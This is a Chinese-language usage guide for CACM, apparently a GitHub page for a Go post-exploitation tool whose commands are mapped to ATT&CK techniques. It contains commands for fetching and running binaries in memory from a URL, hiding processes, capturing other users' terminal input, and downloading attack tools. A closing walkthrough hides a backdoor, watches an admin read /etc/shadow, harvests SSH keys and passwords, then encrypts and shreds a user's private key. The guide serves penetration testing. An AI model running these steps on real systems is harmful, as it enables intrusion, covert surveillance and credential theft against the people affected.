-
Notifications
You must be signed in to change notification settings - Fork 112
CACM 工具使用教程
CACM (Come and catch me) 是一个高级渗透测试工具,提供了丰富的功能模块用于信息收集、系统发现、权限维持等渗透测试活动。该工具基于 Go 语言开发,支持交互式命令行界面和单命令执行模式。
# 交互式模式
./CACM
xhelp # 交互式查看帮助
# 单命令执行模式
./CACM -c "命令名 参数"
# 显示帮助
./CACM -h启动后会看到 CACM 的 ASCII 艺术字和欢迎信息:
▗▄▄▖ ▗▄▖ ▗▄▄▖▗▖ ▗▖
▐▌ ▐▌ ▐▌▐▌ ▐▛▚▞▜▌
▐▌ ▐▛▀▜▌▐▌ ▐▌ ▐▌
▝▚▄▄▖▐▌ ▐▌▝▚▄▄▖▐▌ ▐▌ tools
Come and catch me - Advanced Penetration Testing Tool
Version: v1.0 tools
Project: https://github.com/RuoJi6/CACM
功能: 通过 crt.sh 和 ip.thc.org 查询目标域名的所有子域名
ATT&CK: T1590.005 (收集受害者网络信息)
用法:
# 查询单个域名
sub example.com
# 查询多个域名
sub example.com test.com
# 显示详细信息
sub example.com -v案例:
CACM> sub baidu.com
[*] Querying crt.sh for baidu.com...
[*] Found 156 subdomains from crt.sh
[*] Querying ip.thc.org for baidu.com...
[*] Found 23 additional subdomains from ip.thc.org
[+] Total unique subdomains: 179
www.baidu.com
map.baidu.com
tieba.baidu.com
zhidao.baidu.com
...功能: 全面的系统信息收集,包括系统配置、网络信息、域名等
ATT&CK: T1082 (系统信息发现)
用法:
# 基本信息收集
ws
# 详细模式
ws -v
# 跳过网络信息
ws --no-network
# 输出到文件
ws -o system_info.txt功能: 高级端口扫描器,支持服务检测,灵感来自 fscan
ATT&CK: T1046 (网络服务扫描)
用法:
# 扫描单个主机
scan 192.168.1.1
# 扫描网段
scan 192.168.1.0/24
# 指定端口
scan 192.168.1.1 -p 22,80,443,3389
# 指定线程数
scan 192.168.1.0/24 -t 100
# 服务检测
scan 192.168.1.1 -s案例:
CACM> scan 192.168.1.1 -p 1-1000 -t 50
[*] Starting fscan-style port scan...
[*] Targets: 1 | Ports: 1000 | Threads: 50
[+] 192.168.1.1:22 SSH-2.0-OpenSSH_8.0
[+] 192.168.1.1:80 HTTP/1.1 200 OK
[+] 192.168.1.1:443 HTTPS/1.1 200 OK
[*] Scan completed in 2.3 seconds功能: 提供常用的系统管理命令,灵感来自 hackshell
ATT&CK: T1083 (文件和目录发现)
子命令:
-
lt: 按时间排序列出文件 -
ltr: 递归按时间排序列出文件 -
lss: 按大小排序列出文件 -
lssr: 递归按大小排序列出文件 -
psg: 搜索进程 -
lsg: 搜索文件
用法:
# 按时间列出当前目录文件
common lt
# 递归按时间列出 /var/log
common ltr /var/log
# 按大小列出 /tmp 文件
common lss /tmp
# 搜索 SSH 进程
common psg ssh
# 搜索日志文件
common lsg '\.log$'功能: 显示所有终端和已登录用户信息
ATT&CK: T1033 (系统所有者/用户发现)
用法:
# 显示所有终端
xpty
# 详细模式
xpty -v
# 仅显示活跃会话
xpty --active功能: 下载各种渗透测试工具的静态编译版本
ATT&CK: T1105 (入口工具传输)
用法:
# 下载单个工具
bin nmap
# 下载多个工具
bin nmap curl jq
# 列出所有可用工具
bin list
# 搜索工具
bin search nmap
# 查看下载记录
bin info可用工具分类:
- 网络工具: nmap, ncat, curl, wget, socat, ping, tcpdump
- 文件工具: fd, find, grep, awk, sed, ripgrep
- 系统工具: ps, netstat, ss, lsof, busybox, strace
- 数据工具: jq, base64, hexdump, xxd
- 安全工具: naabu, fscan, searchall, dddd, gogo
案例:
CACM> bin nmap
[*] Downloading nmap for linux/amd64...
[*] URL: https://bin.pkgforge.dev/x86_64/nmap
[+] Downloaded to: /tmp/nmap (12.3 MB)
[+] Made executable
[*] nmap is ready to use!功能: 在内存中执行二进制文件,无需写入磁盘
ATT&CK: T1055 (进程注入)
用法:
# 从标准输入执行
cat /usr/bin/id | memexec
# 从URL下载并执行
memexec https://example.com/tool
# 执行本地文件
memexec /usr/bin/nmap -sS target.com
# 执行系统命令
memexec id -u案例:
CACM> echo "#!/bin/bash\necho 'Hello from memory!'" | memexec
[*] Executing binary from stdin...
[+] Binary loaded into memory (45 bytes)
[+] Execution successful
Hello from memory!功能: 隐藏指定进程,使其不被常规工具发现
ATT&CK: T1055 (进程注入)
用法:
# 隐藏指定PID的进程
hide 1234
# 列出可隐藏的进程
hide list
# 显示隐藏状态
hide status
# 恢复隐藏的进程
hide restore 1234功能: 监控和记录用户在终端中的输入
ATT&CK: T1056 (输入捕获)
用法:
# 列出可监控的进程
tit list
# 监控bash/zsh输入
tit read 1234
# 监控SSH会话输出
tit write 1234
# 调试模式
tit read 1234 --debug案例:
CACM> tit list
[*] Scanning for monitorable processes...
[+] Found 3 bash processes:
PID: 1234 - /bin/bash (user: alice)
PID: 5678 - /bin/zsh (user: bob)
PID: 9012 - /bin/bash (user: root)
CACM> tit read 1234
[*] Monitoring PID 1234 (/bin/bash)...
[+] Started input monitoring
[2024-01-15 10:30:15] ls -la
[2024-01-15 10:30:20] cat /etc/passwd
[2024-01-15 10:30:25] sudo su -功能: 对文件进行加密和解密操作
ATT&CK: T1027 (混淆文件或信息)
用法:
# 加密文件
enc secret.txt
# 解密文件
dec secret.txt.enc
# 指定密码
enc secret.txt -p mypassword
# 批量加密
enc *.txt功能: 安全删除文件,防止数据恢复
ATT&CK: T1070.004 (文件删除)
用法:
# 安全删除单个文件
shred sensitive.txt
# 删除多个文件
shred *.log
# 指定覆写次数
shred -n 7 secret.txt
# 删除后移除文件
shred -u temp.txt功能: 执行各种DNS查询操作
ATT&CK: T1590.005 (收集受害者网络信息)
用法:
# 基本DNS查询
dns example.com
# 指定记录类型
dns example.com A
dns example.com MX
dns example.com TXT
# 反向DNS查询
dns -r 8.8.8.8
# 使用指定DNS服务器
dns example.com -s 8.8.8.8功能: 对IP地址范围进行批量反向DNS查询
用法:
# 查询单个IP
rdns 8.8.8.8
# 查询IP范围
rdns 192.168.1.1-192.168.1.100
# 查询网段
rdns 192.168.1.0/24
# 指定线程数
rdns 192.168.1.0/24 -t 50功能: 切换到其他用户身份
ATT&CK: T1078 (有效账户)
用法:
# 切换到root用户
xsu root
# 切换到指定用户
xsu alice
# 执行单个命令
xsu root "id"功能: 设置和管理工具的工作目录
用法:
# 设置工作目录
xhome /tmp/workspace
# 显示当前工作目录
xhome
# 创建并设置目录
xhome -c /opt/tools
# 切换到工作目录
xhome cd 功能: 高级文件搜索功能
ATT&CK: T1083 (文件和目录发现)
用法:
# 按名称搜索
wfind config.txt
# 按扩展名搜索
wfind "*.log"
# 按大小搜索
wfind -size +100M
# 按修改时间搜索
wfind -mtime -7功能: 增强的grep功能,支持多种搜索模式
用法:
# 基本搜索
hgrep "password" /etc/
# 正则表达式搜索
hgrep -E "^admin:" /etc/passwd
# 忽略大小写
hgrep -i "error" /var/log/
# 递归搜索
hgrep -r "secret" /home/# 1. 收集系统信息
CACM> ws -v -o system_info.txt
[*] Collecting system information...
[+] OS: Ubuntu 20.04.3 LTS
[+] Kernel: 5.4.0-91-generic
[+] CPU: Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz (4 cores)
[+] Memory: 8GB total, 2.1GB available
# 2. 发现网络中的其他主机
CACM> scan 192.168.1.0/24 -p 22,80,443,3389 -t 100
[*] Starting network scan...
[+] 192.168.1.10:22 SSH-2.0-OpenSSH_7.4
[+] 192.168.1.15:80 HTTP/1.1 200 OK
[+] 192.168.1.20:443 HTTPS/1.1 200 OK
[+] 192.168.1.25:3389 RDP
# 3. 收集域名信息
CACM> sub company.com
[*] Found 45 subdomains:
mail.company.com
vpn.company.com
admin.company.com
...
# 4. 查看当前用户和进程
CACM> xpty
[*] Active terminals and users:
pts/0 alice 192.168.1.100
pts/1 bob 192.168.1.101# 1. 下载必要工具
CACM> bin nmap netcat socat
[*] Downloading tools...
[+] nmap downloaded successfully
[+] netcat downloaded successfully
[+] socat downloaded successfully
# 2. 隐藏关键进程
CACM> hide list
[*] Scannable processes:
PID: 1234 - /usr/bin/backdoor
PID: 5678 - /tmp/persistence
CACM> hide 1234
[+] Process 1234 hidden successfully
# 3. 监控管理员活动
CACM> tit list
[*] Found admin session: PID 9999
CACM> tit read 9999
[*] Monitoring admin input...
[2024-01-15 14:30:00] sudo systemctl status firewall
[2024-01-15 14:30:15] cat /etc/shadow# 1. 搜索敏感文件
CACM> wfind "*.key" /home/ /etc/ /opt/
[+] /home/alice/.ssh/id_rsa
[+] /etc/ssl/private/server.key
[+] /opt/app/config/database.key
# 2. 搜索包含密码的文件
CACM> hgrep -r -i "password\|passwd\|pwd" /etc/ /home/
[+] /etc/mysql/my.cnf:password=secret123
[+] /home/bob/.bashrc:export DB_PASSWORD=admin123
# 3. 加密敏感数据
CACM> enc /home/alice/.ssh/id_rsa
[*] Encrypting file...
[+] File encrypted: /home/alice/.ssh/id_rsa.enc
# 4. 安全删除原文件
CACM> shred -u /home/alice/.ssh/id_rsa
[*] Securely deleting file...
[+] File securely deleted- 合法使用: 本工具仅用于授权的渗透测试和安全研究,请勿用于非法活动
- 权限要求: 某些功能需要root权限才能正常工作
- 环境兼容: 主要支持Linux系统,部分功能可能在其他系统上有限制
- 检测规避: 隐蔽模式可以帮助规避一些检测,但不能保证100%隐蔽
- 数据安全: 使用加密功能时请妥善保管密码,丢失密码将无法恢复数据
免责声明: 本工具仅供安全研究和授权测试使用,使用者需对自己的行为负责。开发者不承担任何因误用或滥用本工具而产生的法律责任。